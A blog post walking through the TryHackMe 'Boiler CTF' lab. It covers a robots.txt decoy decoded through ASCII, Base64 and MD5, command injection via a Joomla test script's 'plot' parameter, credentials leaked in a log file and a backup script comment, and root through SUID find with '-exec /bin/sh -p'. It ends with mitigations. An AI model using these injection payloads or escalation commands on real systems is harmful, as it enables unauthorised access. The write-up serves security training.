DEV Community

Farhan Hussain
Farhan Hussain

Posted on

The Box Spent 20 Minutes Convincing Me to Decode a Joke — Boiler CTF (TryHackMe)

Platform: TryHackMe · Difficulty: Medium · Category: Multi-Layer Encoding Troll / Command Injection / SUID find

Introduction

Twenty minutes. That's roughly how long it takes to peel a three-layer encoding puzzle (ASCII decimal → Base64 → MD5) out of a robots.txt file, run it through John the Ripper, and arrive triumphantly at the cracked result — only to discover the plaintext is literally the word kidding. The box is laughing at you. This matters for a reason that goes beyond one annoying box: an elaborate puzzle isn't proof it's load-bearing, and sunk cost is a real cognitive trap during a live engagement, not just a CTF quirk.

Boiler CTF opens with exactly that red herring, then gets quieter: anonymous FTP with a ROT13 riddle reminding you that "enumeration is the key," a Joomla test endpoint with a textbook command injection flaw, and SSH relocated to a five-digit port that costs you a moment of confusion before a second scan reveals it. The escalation chain ends on a misleadingly named flag file and a SUID find binary that's been on every escalation cheat sheet for a decade.

Recon

rustscan -a 10.49.154.195 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
21/tcp FTP vsftpd 3.0.3 — anonymous allowed
80/tcp HTTP Apache httpd 2.4.18 (Ubuntu)
10000/tcp HTTP MiniServ 1.930 (Webmin)

No SSH on this first pass — worth remembering for later.

feroxbuster -u http://10.49.154.195/ \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -x php,xt,html
Enter fullscreen mode Exit fullscreen mode
# relevant hits
301  /joomla       # ^^^ CMS install
301  /manual       # Apache docs — noise
Enter fullscreen mode Exit fullscreen mode

/manual/ is the stock Apache documentation tree — hundreds of hits, zero value. /joomla/ is the real target.

http://10.49.154.195/robots.txt
Enter fullscreen mode Exit fullscreen mode
User-agent: *
Disallow: /

/tmp
/.ssh
/yellow
/not
/a+rabbit
/hole
/or
/is
/it

079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 055 048 077 084 103 121 089 109 070 104 078 084 069 049 079 084 084 074 067 075
Enter fullscreen mode Exit fullscreen mode

The fake subdomain list (/yellow, /not, /a+rabbit, /hole, /or, /is, /it — reading as "yellow, not a rabbit hole, or is it") is the box's own joke about itself. The number sequence underneath looked suspicious enough to decode.

Layer 1 — ASCII decimal to text: each three-digit group is a decimal ASCII code. Converted directly:

OTliMDY2MGNkOTVhZGVhMzI3YzU0MTgyYmFhNTE1ODQK
Enter fullscreen mode Exit fullscreen mode

Layer 2 — Base64 decode:

99b0660cd95adea327c54182baa51584
Enter fullscreen mode Exit fullscreen mode

Layer 3 — Hash identification: 32 hex characters = MD5 format.

echo "99b0660cd95adea327c54182baa51584" > hash.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Enter fullscreen mode Exit fullscreen mode
kidding   (?)
Enter fullscreen mode Exit fullscreen mode

The hash decodes to the word kidding. The box is explicitly telling you this entire puzzle was a joke — not a credential. Worth checking against FTP/SSH regardless (it wasn't), but the real path lies elsewhere.

Foothold

ftp 10.49.154.195
# Name: anonymous
ftp> get .info.txt
Enter fullscreen mode Exit fullscreen mode
Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
Enter fullscreen mode Exit fullscreen mode

ROT13 is a substitution cipher that shifts each letter 13 positions through the alphabet. Since the alphabet has 26 letters, applying ROT13 twice returns the original text — making it self-inverse and trivial to decode by hand or with any online tool.

Decoded:

Just wanted to see if you find it. Lol. Remember: Enumeration is the key!
Enter fullscreen mode Exit fullscreen mode

A direct hint pointing back at thorough enumeration — appropriate, since the box's actual vulnerability is still ahead.

Enumerating /joomla/ further surfaced /joomla/_test/ — a test script outside the normal CMS structure. Its parameter behaviour suggested command execution:

http://10.49.154.195/joomla/_test/index.php?plot=LINUX
Enter fullscreen mode Exit fullscreen mode

Confirming command injection by chaining a command with a semicolon:

http://10.49.154.195/joomla/_test/index.php?plot=;ls
Enter fullscreen mode Exit fullscreen mode

The response includes directory contents — including a standout file, log.txt.

Reading the log file via the same injection point:

http://10.49.154.195/joomla/_test/index.php?plot=;cat%20log.txt
Enter fullscreen mode Exit fullscreen mode

The log contains SSH credentials in plaintext:

user pestest
user basterd pass superduperp@$$ port 49824
Enter fullscreen mode Exit fullscreen mode

Username basterd, password superduperp@$$, and a port number that turned out to be a red herring.

Username Password Where Found
basterd superduperp@$$ Command injection → log.txt

Shell / Access

The log file's mentioned port (49824) refused connections:

ssh basterd@10.49.154.195 -p 49824
# Connection refused
Enter fullscreen mode Exit fullscreen mode
ssh basterd@10.49.154.195
# Connection refused — port 22 doesn't even have SSH running
Enter fullscreen mode Exit fullscreen mode

The first port scan never found SSH at all — meaning it's running on a non-standard port not in RustScan's default range, or the scan simply missed it on the first sweep. A second, full-range Nmap scan resolved it:

nmap -sV -p- 10.49.154.195
Enter fullscreen mode Exit fullscreen mode
55007/tcp open  ssh    OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
Enter fullscreen mode Exit fullscreen mode
ssh basterd@10.49.154.195 -p 55007
# Password: superduperp@$$
Enter fullscreen mode Exit fullscreen mode
basterd@Vulnerable:~$
Enter fullscreen mode Exit fullscreen mode
ls -lah
# -rwxr-xr-x 1 stoner basterd 699 backup.sh
Enter fullscreen mode Exit fullscreen mode

backup.sh is owned by stoner but readable by basterd's group:

cat backup.sh
Enter fullscreen mode Exit fullscreen mode
USER=stoner
#superduperp@$$no1knows
Enter fullscreen mode Exit fullscreen mode

A commented-out line containing what looks like stoner's password — appended directly after the reused basterd password fragment as a kind of in-joke (superduperp@$$ + no1knows).

ssh stoner@10.49.154.195 -p 55007
# Password: superduperp@$$no1knows
Enter fullscreen mode Exit fullscreen mode
stoner@Vulnerable:~$ cat .secret
You made it till here, well done.
Enter fullscreen mode Exit fullscreen mode

.secret looked like flavour text at first glance — but it's actually the user flag, just unusually named and hidden as a dotfile rather than the expected user.txt.

Escalation

find / -perm -4000 -type f 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/usr/bin/find    # ^^^ SUID find — itself
Enter fullscreen mode Exit fullscreen mode

find supports an -exec flag that runs an arbitrary command for each matched file. When find itself has the SUID bit set, any command passed to -exec inherits root privileges — including spawning a shell directly.

/usr/bin/find . -exec /bin/sh -p \;
Enter fullscreen mode Exit fullscreen mode
# root shell
# cat /root/root.txt
It wasn't that hard, was it?
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. robots.txt decoy puzzle (ASCII → Base64 → MD5) → kidding (red herring, confirmed not a credential)
  2. Anonymous FTP → .info.txt ROT13 hint about enumeration
  3. Joomla _test command injection → read log.txt → basterd:superduperp@$$
  4. Second port scan found SSH on port 55007 (not 22, not the red-herring port in the log)
  5. SSH as basterd → backup.sh comment leaked stoner's password
  6. SSH as stoner → .secret (the real, oddly-named user flag)
  7. SUID find → find . -exec /bin/sh -p \; → root shell → root flag

Rabbit Holes

The robots.txt decoding puzzle itself. The entire three-layer decode (ASCII → Base64 → MD5 → John) led to the word kidding — a deliberate troll by the box author. It cost real time (decoding plus a John run) for zero progress toward the actual foothold. The lesson generalises: an elaborate puzzle isn't proof it's load-bearing; sometimes a box wants you to spend twenty minutes proving to yourself it was a joke.

Wrong SSH port from the log file. The log.txt file explicitly stated "port 49824" right next to the credentials — and that port refused every connection. The actual SSH port (55007) only appeared in a full re-scan. The log's stated port was either stale, a separate red herring, or referred to a different, unused configuration. Trusting a discovered artefact's stated port without independently verifying it via a port scan cost a few minutes of confusion.

Searching for user.txt by name. find / -iname "*user*.txt" returned nothing because the real flag was named .secret — a dotfile with no relation to the expected naming convention. Never assume a flag's filename; search broadly and read everything in a freshly accessed home directory, including dotfiles.

Flags

Flag Value Location
User You made it till here, well done. /home/stoner/.secret
Root It wasn't that hard, was it? /root/root.txt

Note: this box's flags are flavour-text messages rather than the typical hash/UUID format — consistent with its overall troll-heavy tone.

Mitigations

Vulnerability Severity Mitigation
Anonymous FTP enabled Medium Disable anonymous FTP; restrict to authenticated users only
Joomla test script with command injection Critical Never deploy test/debug scripts to a production server; validate and sanitise all user input passed to system calls; use parameterised execution, never string concatenation into a shell
SSH credentials logged in plaintext (log.txt) Critical Never log credentials in any file; if logging authentication attempts, log only usernames and outcomes, never passwords
Password fragment exposed in a backup script comment High Remove all commented-out credentials from scripts before deployment; use a secrets manager or environment variables instead
SUID bit set on find Critical Remove the SUID bit from find — it has no legitimate need for it; audit all SUID binaries regularly against GTFOBins

Key Takeaway

Not every encoded string or elaborate puzzle is a critical clue — sometimes the box is testing whether you'll waste twenty minutes decoding a joke instead of moving on to broader enumeration. Decode it, note the result, and don't let sunk cost convince you it must lead somewhere just because it took effort to get there.


Room: TryHackMe — Boiler CTF

Top comments (0)